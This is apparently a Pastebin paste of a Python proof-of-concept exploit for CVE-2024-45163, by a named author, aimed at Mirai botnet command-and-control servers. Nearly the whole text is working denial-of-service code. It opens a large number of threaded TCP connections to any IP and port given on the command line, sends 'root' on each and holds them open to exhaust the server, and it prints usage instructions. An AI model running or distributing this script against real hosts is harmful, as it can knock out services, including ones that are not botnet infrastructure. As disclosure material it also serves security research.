Advertisement
jacobmasse

CVE-2024-45163: Remote DoS Exploit in Mirai Botnet | Proof of Concept

Aug 19th, 2024 (edited)
1,702
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.08 KB | None | 0 0
  1. # Exploit Title: CVE-2024-45163: Remote DoS Exploit in Mirai Botnet
  2. # Date: August 19, 2024
  3. # Exploit Author: Jacob Masse
  4. # Software Link: https://github.com/jgamblin/Mirai-Source-Code
  5. # Version: All versions
  6. # Tested on: Ubuntu, Debian
  7. # CVE: CVE-2024-45163
  8.  
  9. import socket
  10. import threading
  11. import sys
  12. from colorama import Fore, Style
  13. from time import sleep
  14.  
  15. art = """ __ ____ _ ___ ____
  16. / |/ (_)______ _(_) / _ \___ / __/
  17. / /|_/ / / __/ _ `/ / / // / _ \_\ \
  18. /_/ /_/_/_/ \_,_/_/ /____/\___/___/
  19.  
  20. """
  21.  
  22. print(Fore.GREEN + art)
  23. print("A POC that causes a DoS attack against a Mirai botnet CNC server.")
  24. print(Fore.BLUE + "Developed by Jacob Masse\n\n")
  25.  
  26. if len(sys.argv) < 3:
  27. print(f"Usage: python3 {sys.argv[0]} <IP Address of CNC> <Port of CNC> <# of connections. Default is 1024>")
  28. print("Example: python3 mirai_dos.py 1.1.1.1 1337")
  29. print(Fore.RESET)
  30. sys.exit(1)
  31.  
  32. target = str(sys.argv[1])
  33. port = int(sys.argv[2])
  34. try:
  35. num_connections = int(sys.argv[3])
  36. except IndexError:
  37. num_connections = 1024
  38.  
  39. print(f"Target: {target}")
  40. print(f"Port: {port}")
  41. print(f"Number of connections: {num_connections}")
  42. print(Fore.RESET)
  43. print("Starting exploit...")
  44. sleep(2)
  45.  
  46. # Function to create and hold a connection to the specified target and port
  47. def create_connection(target, port):
  48. try:
  49. # Create a socket object
  50. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  51. # Connect to the target IP and port
  52. s.connect((target, port))
  53. print(f"Sending 1 connection probe to {target}:{port}")
  54.  
  55. s.sendall(b'root\n')
  56.  
  57. # Hold the connection indefinitely
  58. while True:
  59. pass
  60. except Exception as e:
  61. print(f"Connection failed: {e}")
  62.  
  63. # Create threads for each connection
  64. threads = []
  65. for _ in range(num_connections):
  66. t = threading.Thread(target=create_connection, args=(target, port))
  67. threads.append(t)
  68. t.start()
  69.  
  70. # Join all threads to wait for them to finish (they won't since connections are held)
  71. for t in threads:
  72. t.join()
  73.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement